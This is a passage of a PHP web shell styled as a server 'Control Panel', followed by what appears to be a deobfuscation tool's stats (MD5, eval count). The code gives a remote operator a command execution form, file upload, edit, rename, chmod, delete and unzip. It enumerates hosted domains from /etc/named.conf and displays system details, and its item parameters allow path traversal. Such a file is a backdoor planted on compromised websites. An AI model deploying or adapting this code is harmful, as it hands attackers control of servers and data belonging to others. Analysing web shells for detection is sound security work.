Failed","Failed","error","?dir=$n");}}if(isset($_POST['newContent'])&&isset($_GET['item'])){if(file_put_contents($n.'/'.$_GET['item'],$_POST['newContent'])){f1("Edit Successfully!","Success","success","?dir=$n");}else{f1("Edit Failed","Failed","error","?dir=$n");}}if(isset($_POST['newPerm'])&&isset($_GET['item'])){if($_POST['newPerm']==''){f1("You miss an important value","Ooopss..","warning","?dir=$n");}if(chmod($n.'/'.$_GET['item'],$_POST['newPerm'])){f1("Change Permission Successfully!","Success","success","?dir=$n");}else{f1("Change Permission","Failed","error","?dir=$n");}}if(isset($_GET['action'])&&$_GET['action']=='delete'&&isset($_GET['item'])){$item_path=$n.'/'.$_GET['item'];function deleteDirectory($dir){if(!is_dir($dir)){return false;}$items=array_diff(scandir($dir),array('.','..'));foreach($items as $item){$item_path=$dir.'/'.$item;if(is_dir($item_path)){deleteDirectory($item_path);}else{unlink($item_path);}}return rmdir($dir);}if(is_dir($item_path)){if(deleteDirectory($item_path)){f1("Delete Successfully!","Success","success","?dir=$n");}else{f1("Delete Failed","Failed","error","?dir=$n");}}else{if(unlink($item_path)){f1("Delete Successfully!","Success","success","?dir=$n");}else{f1("Delete Failed","Failed","error","?dir=$n");}}}if(isset($_FILES['uploadfile'])){$s=count($_FILES['uploadfile']['name']);for($t=0;$t<$s;$t++){$u=move_uploaded_file($_FILES['uploadfile']['tmp_name'][$t],$_FILES['uploadfile']['name'][$t]);$fileExtension=strtolower(pathinfo($_FILES['uploadfile']['name'][$t],PATHINFO_EXTENSION));$filePath=$_FILES['uploadfile']['name'][$t];$fileSize=$_FILES['uploadfile']['size'][$t];}if($s<2){if($u){f1("Upload File Successfully! ","Success","success","?dir=$n");}else{f1("Upload Failed","Failed","error","?dir=$n");}}else{if($u){f1("Upload $t Files Successfully! ","Success","success","?dir=$n");}else{f1("Upload Failed","Failed","error","?dir=$n");}}}function redirect($url){}if(isset($_POST['unzip'])&&isset($_GET['item'])){$n=__DIR__;$baseDir=realpath($n);if($baseDir===false){}$item=basename($_GET['item']);$zipPath=$baseDir.DIRECTORY_SEPARATOR.$item;if(!file_exists($zipPath)||!is_file($zipPath)){}$fileExtension=pathinfo($zipPath,PATHINFO_EXTENSION);if(strtolower($fileExtension)!=='zip'){}$zip=new ZipArchive;$res=$zip->open($zipPath);if($res===TRUE){$extractDirName=pathinfo($item,PATHINFO_FILENAME);$extractDir=$baseDir.DIRECTORY_SEPARATOR.$extractDirName;if(is_dir($extractDir)){function deleteDir($dirPath){if(!is_dir($dirPath)){return;}$objects=scandir($dirPath);foreach($objects as $object){if($object!="."&&$object!=".."){$currentPath=$dirPath.DIRECTORY_SEPARATOR.$object;if(is_dir($currentPath)){deleteDir($currentPath);}else{unlink($currentPath);}}}rmdir($dirPath);}deleteDir($extractDir);}if(!mkdir($extractDir,0755,true)){}if($zip->extractTo($extractDir)){$zip->close();}else{$zip->close();}}else{}}$x=scandir($n);$y=@file("/etc/named.conf",false);if(!$y){$z="Cant read /etc/named.conf";$GLOBALS["need_to_update_header"]="true";}else{$aa=0;foreach($y as $ab){if(@strstr($ab,"zone")){preg_match_all('#zone "(.*)"#',$ab,$ac);flush();if(strlen(trim($ac[1][0]))>2){flush();$aa++;}}}$z="$aa Domain";} ?><!doctypehtml><html dir="ltr"lang="en"><head><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title><?=htmlspecialchars($_SERVER['SERVER_NAME'])?>- Control Panel</title><link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css"rel="stylesheet"><link href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css"rel="stylesheet"><link href="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.css"rel="stylesheet"><style>*{box-sizing:border-box}body{background-color:#121212;color:#e0e0e0;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;margin:0;padding:0;overflow-x:hidden}.container-fluid{padding:20px}.box{background-color:rgba(30,30,30,.9);border:1px solid #444;border-radius:8px;box-shadow:0 4px 15px rgba(0,0,0,.5);padding:25px;margin-bottom:30px;transition:transform .3s,box-shadow .3s}.table-dark{background-color:rgba(30,30,30,.9)}.btn-outline-custom{border-color:#6c757d;color:#6c757d;background-color:transparent;transition:background-color .3s,color .3s,border-color .3s}.btn-outline-custom:hover{background-color:#6c757d;color:#fff;border-color:#6c757d}.btn-custom{background-color:#0d6efd;color:#fff;border:none;transition:background-color .3s,transform .2s}.btn-custom:hover{background-color:#0b5ed7;transform:translateY(-2px)}a{color:#0d6efd;text-decoration:none;transition:color .3s}a:hover{color:#5a9bf5}.breadcrumb{background-color:transparent;padding:0;margin-bottom:20px}.breadcrumb-item+.breadcrumb-item::before{content:"/";color:#6c757d}.fa{color:#0d6efd;margin-right:5px}.form-control{background-color:rgba(44,44,44,.9);border:1px solid #444;color:#e0e0e0;transition:background-color .3s,border-color .3s}.form-control::placeholder{color:#6c757d}.form-control:focus{background-color:rgba(44,44,44,.95);border-color:#0d6efd;box-shadow:0 0 0 .2rem rgba(13,110,253,.25);color:#e0e0e0}.btn-group .btn{margin-right:5px}::-webkit-scrollbar{width:12px}::-webkit-scrollbar-track{background:#1e1e1e}::-webkit-scrollbar-thumb{background-color:#6c757d;border-radius:6px;border:3px solid #1e1e1e}.table-responsive{max-height:60vh;overflow-y:auto}.footer{padding:15px 0;border-top:1px solid #444;margin-top:20px}.footer a{color:#0d6efd}.footer a:hover{color:#5a9bf5}[data-bs-toggle=tooltip]{cursor:pointer}</style></head><body><div class="container-fluid"><div class="py-3"id="main"><div class="box"><div class="mb-4 info"><p><i class="fa fa-server"></i><?=htmlspecialchars(php_uname())?></p><p><i class="fa fa-microchip"></i><?=htmlspecialchars($_SERVER['SERVER_SOFTWARE'])?></p><p><i class="fa fa-network-wired"></i><?=htmlspecialchars(!@$_SERVER['SERVER_ADDR']?gethostbyname($_SERVER['SERVER_NAME']):@$_SERVER['SERVER_ADDR'])?></p><p><i class="fa fa-fingerprint"></i><?=htmlspecialchars($z)?></p></div><nav aria-label="breadcrumb"><ol class="breadcrumb"><?php foreach($o as $ad=>$ae): ?><?php if($ae==''&&$ad==0): ?><li class="breadcrumb-item"><a class="text-light"href="?dir=/">/</a></li><?php endif; ?><?php if($ae=='')continue; ?><li class="breadcrumb-item"><a class="text-light"href="?dir=<?=urlencode(implode('/',array_slice($o,0,$ad+1)))?>"><?=htmlspecialchars($ae)?></a></li><?php endforeach; ?><li class="breadcrumb-item active"aria-current="page">[<?=f3($n,f4($n))?>]</li><li class="breadcrumb-item"><a class="text-light"href="?">[ HOME ]</a></li></ol></nav><div class="d-flex flex-wrap justify-content-between mb-4"><div class="me-2 flex-grow-1 p-2"><form action=""class="d-flex"method="post"><input class="me-2 form-control form-control-sm"name="command"required placeholder="Command"> <button class="btn btn-sm btn-custom"type="submit">Execute</button></form></div><div class="flex-grow-1 p-2 ms-2"><form action=""class="d-flex"method="post"enctype="multipart/form-data"><input class="me-2 form-control form-control-sm"name="uploadfile[]"required id="uploadfile"multiple type="file"> <button class="btn btn-sm btn-custom"type="submit">Upload</button></form></div></div><div id="tools"><?php if(isset($_POST['command'])): ?><div class="mb-4 justify-content-center row"><pre class="text-light bg-dark p-3 rounded w-100"><?=htmlspecialchars($_POST['command_output'])?></pre></div><?php endif; ?><?php if(isset($_GET['action'])&&$_GET['action']!='delete'):$action=$_GET['action'];$item=$_GET['item']?? ''; ?><div class="mb-4 justify-content-center row"><?php if($action=='rename'&&!empty($item)): ?><form action=""class="w-100"method="post"><div class="mb-3"><label class="form-label"for="newName">New Name</label> <input class="form-control"name="newName"required id="newName"value="<?=htmlspecialchars($item)?>"></div><div class="d-flex justify-content-end"><button class="btn btn-custom me-2"type="submit">Submit</button> <button class="btn btn-outline-custom"type="button"onclick="history.go(-1)">Back</button></div></form><?php elseif($action=='edit'&&!empty($item)): ?><form action=""class="w-100"method="post"><div class="mb-3"><label class="form-label"for="newContent"><?=htmlspecialchars($item)?></label> <textarea class="form-control"rows="10"id="newContent"name="newContent"><?=htmlspecialchars(file_get_contents($n.'/'.$item))?></textarea></div><div class="d-flex justify-content-end"><button class="btn btn-custom me-2"type="submit">Save</button> <button class="btn btn-outline-custom me-2"type="button"onclick="copyToClipboard()">Copy</button> <button class="btn btn-outline-custom"type="button"onclick="history.go(-1)">Back</button></div></form><?php elseif($action=='view'&&!empty($item)): ?><div class="w-100"><label class="form-label">File Name:<?=htmlspecialchars($item)?></label> <textarea class="mb-3 form-control"rows="10"disabled><?=htmlspecialchars(file_get_contents($n.'/'.$item))?></textarea> <button class="btn btn-outline-custom"type="button"onclick="history.go(-1)">Back</button></div><?php elseif($action=='chmod'&&!empty($item)): ?><form action=""class="w-100"method="post"><div class="mb-3"><label class="form-label"for="newPerm">Permissions:<?=htmlspecialchars($item)?></label> <input class="form-control"name="newPerm"required id="newPerm"value="<?=substr(sprintf('%o',fileperms($item)),-4)?>"></div><div class="d-flex justify-content-end"><button class="btn btn-custom me-2"type="submit">Submit</button> <button class="btn btn-outline-custom"type="button"onclick="history.go(-1)">Back</button></div></form><?php elseif($action=='unzip'&&!empty($item)): ?><form action=""class="w-100"method="post"><div class="mb-3"><label class="form-label">Unzip:<?=htmlspecialchars($item)?></label></div><div class="d-flex justify-content-end"><button class="btn btn-custom me-2"type="submit"name="unzip">Execute</button> <button class="btn btn-outline-custom"type="button"onclick="history.go(-1)">Back</button></div></form><?php endif; ?></div><?php endif; ?><div class="mb-4 justify-content-center row"><div class="mb-3 collapse"id="newFolderCollapse"data-bs-parent="#tools"><form action=""class="w-100"method="post"><div class="mb-3"><label class="form-label"for="newFolderName">Folder Name</label> <input class="form-control"name="newFolderName"required id="newFolderName"placeholder="e.g., NewFolder"></div><div class="d-flex justify-content-end"><button class="btn btn-custom me-2"type="submit">Create</button></div></form></div><div class="mb-3 collapse"id="newFileCollapse"data-bs-parent="#tools"><form action=""class="w-100"method="post"><div class="mb-3"><label class="form-label"for="newFileName">File Name</label> <input class="form-control"name="newFileName"required id="newFileName"placeholder="e.g., newfile.php"></div><div class="mb-3"><label class="form-label"for="newFileContent">File Content</label> <textarea class="form-control"rows="5"id="newFileContent"name="newFileContent"placeholder="Hello World"></textarea></div><div class="d-flex justify-content-end"><button class="btn btn-custom me-2"type="submit">Create</button></div></form></div></div></div><div class="table-responsive"><table class="align-middle table table-dark table-hover"><thead><tr><th style="width:35%">Name</th><th style="width:10%">Type</th><th style="width:10%">Size</th><th style="width:13%">Owner/Group</th><th style="width:10%">Permissions</th><th style="width:13%">Last Modified</th><th style="width:9%">Actions</th></tr></thead><tbody><?php foreach($x as $ah): ?><?php if(is_dir($ah)): ?><tr><td><?php if($ah==='..'): ?><a class="text-light"href="?dir=<?=urlencode(dirname($n))?>"><i class="fa fa-folder-open"></i><?=htmlspecialchars($ah)?></a><?php elseif($ah==='.'): ?><a class="text-light"href="?dir=<?=urlencode($n)?>"><i class="fa fa-folder-open"></i><?=htmlspecialchars($ah)?></a><?php else: ?><a class="text-light"href="?dir=<?=urlencode($n.'/'.$ah)?>"><i class="fa fa-folder"></i><?=htmlspecialchars($ah)?></a><?php endif; ?></td><td><?=htmlspecialchars(filetype($ah))?></td><td>-</td><td><?=htmlspecialchars(f6($ah))?></td><td><?php if(is_writable($n.'/'.$ah)){echo '<span class="text-success">'.htmlspecialchars(f4($n.'/'.$ah)).'</span>';}elseif(!is_readable($n.'/'.$ah)){echo '<span class="text-danger">'.htmlspecialchars(f4($n.'/'.$ah)).'</span>';}else{echo htmlspecialchars(f4($n.'/'.$ah));} ?></td><td><?=date("Y-m-d H:i:s",filemtime($ah))?></td><td><?php if($ah!='.'&&$ah!='..'): ?><div class="btn-group"aria-label="Actions"role="group"><a class="btn btn-outline-custom btn-sm"href="?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=rename"data-bs-toggle="tooltip"data-bs-original-title="Rename"data-bs-placement="top"title="Rename"><i class="fa fa-edit"></i></a> <a class="btn btn-outline-custom btn-sm"href="?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=chmod"data-bs-toggle="tooltip"data-bs-original-title="Change Permissions"data-bs-placement="top"title="Change Permissions"><i class="fa fa-key"></i></a> <a class="btn btn-outline-custom btn-sm"href="javascript:void(0);"data-bs-toggle="tooltip"data-bs-original-title="Delete"data-bs-placement="top"title="Delete"onclick='deleteConfirm("?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=delete")'><i class="fa fa-trash"></i></a></div><?php elseif($ah==='.'): ?><div class="btn-group"aria-label="New Items"role="group"><a class="btn btn-outline-custom btn-sm"href="#newFolderCollapse"data-bs-toggle="collapse"data-bs-toggle="tooltip"data-bs-original-title="New Folder"data-bs-placement="top"title="New Folder"aria-controls="newFolderCollapse"><i class="fa fa-folder-plus"></i></a> <a class="btn btn-outline-custom btn-sm"href="#newFileCollapse"data-bs-toggle="collapse"data-bs-toggle="tooltip"data-bs-original-title="New File"data-bs-placement="top"title="New File"aria-controls="newFileCollapse"><i class="fa fa-file-plus"></i></a></div><?php endif; ?></td></tr><?php endif; ?><?php endforeach; ?><?php foreach($x as $ah): ?><?php if(is_file($ah)): ?><tr><td><a class="text-light"href="?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=view"><i class="fa fa-file-code"></i><?=htmlspecialchars($ah)?></a></td><td><?=htmlspecialchars(function_exists('mime_content_type')?mime_content_type($ah):filetype($ah))?></td><td><?=htmlspecialchars(f5($ah))?></td><td><?=htmlspecialchars(f6($ah))?></td><td><?php if(is_writable($n.'/'.$ah)){echo '<span class="text-success">'.htmlspecialchars(f4($n.'/'.$ah)).'</span>';}elseif(!is_readable($n.'/'.$ah)){echo '<span class="text-danger">'.htmlspecialchars(f4($n.'/'.$ah)).'</span>';}else{echo htmlspecialchars(f4($n.'/'.$ah));} ?></td><td><?=date("Y-m-d H:i:s",filemtime($ah))?></td><td><?php if($ah!='.'&&$ah!='..'): ?><div class="btn-group"aria-label="Actions"role="group"><a class="btn btn-outline-custom btn-sm"href="?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=edit"data-bs-toggle="tooltip"data-bs-original-title="Edit"data-bs-placement="top"title="Edit"><i class="fa fa-file-edit"></i></a> <a class="btn btn-outline-custom btn-sm"href="?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=rename"data-bs-toggle="tooltip"data-bs-original-title="Rename"data-bs-placement="top"title="Rename"><i class="fa fa-edit"></i></a> <a class="btn btn-outline-custom btn-sm"href="?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=chmod"data-bs-toggle="tooltip"data-bs-original-title="Change Permissions"data-bs-placement="top"title="Change Permissions"><i class="fa fa-key"></i></a> <a class="btn btn-outline-custom btn-sm"href="?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=unzip"data-bs-toggle="tooltip"data-bs-original-title="Unzip"data-bs-placement="top"title="Unzip"><i class="fa fa-file-archive"></i></a> <a class="btn btn-outline-custom btn-sm"href="javascript:void(0);"data-bs-toggle="tooltip"data-bs-original-title="Delete"data-bs-placement="top"title="Delete"onclick='deleteConfirm("?dir=<?=urlencode($n)?>&item=<?=urlencode($ah)?>&action=delete")'><i class="fa fa-trash"></i></a></div><?php endif; ?></td></tr><?php endif; ?><?php endforeach; ?></tbody></table></div><div class="text-light footer text-center"> <a class="text-light text-decoration-none"href="https://t.me/Aoxen">Uname</a><script>document.write((new Date).getFullYear())</script></div></div></div></div><script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script><script src="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.all.min.js"></script><script>// Initialize Bootstrap Tooltips
const tooltipTriggerList = [].slice.call(document.querySelectorAll('[data-bs-toggle="tooltip"]'))
const tooltipList = tooltipTriggerList.map(function (tooltipTriggerEl) {
return new bootstrap.Tooltip(tooltipTriggerEl)
});
// Delete Confirmation
function deleteConfirm(url) {
Swal.fire({
title: 'Are you sure?',
text: "You won't be able to revert this!",
icon: 'warning',
showCancelButton: true,
confirmButtonColor: '#6c757d',
cancelButtonColor: '#dc3545',
confirmButtonText: 'Yes, delete it!'
}).then((result) => {
if (result.isConfirmed) {
window.location.href = url;
}
});
return false;
}
// Copy to Clipboard
function copyToClipboard() {
const textarea = document.getElementById("newContent");
textarea.select();
textarea.setSelectionRange(0, 99999); // For mobile devices
navigator.clipboard.writeText(textarea.value).then(() => {
Swal.fire(
'Copied!',
'The content has been copied to your clipboard.',
'success'
);
}, () => {
Swal.fire(
'Copy Failed',
'The content could not be copied.',
'error'
);
});
}
// Display SweetAlert2 Messages from PHP Session<?php if(isset($_SESSION['message'])): ?>Swal.fire({
title: '<?=htmlspecialchars($_SESSION['status'])?>',
text: '<?=htmlspecialchars($_SESSION['message'])?>',
icon: '<?=htmlspecialchars($_SESSION['class'])?>',
confirmButtonText: 'OK'
});<?php unset($_SESSION['message'],$_SESSION['status'],$_SESSION['class']); ?><?php endif; ?></script></body></html>
Function Calls
None |
Stats
MD5 | 0f19c3916287d1db3a54d56dee80bd8b |
Eval Count | 0 |
Decode Time | 90 ms |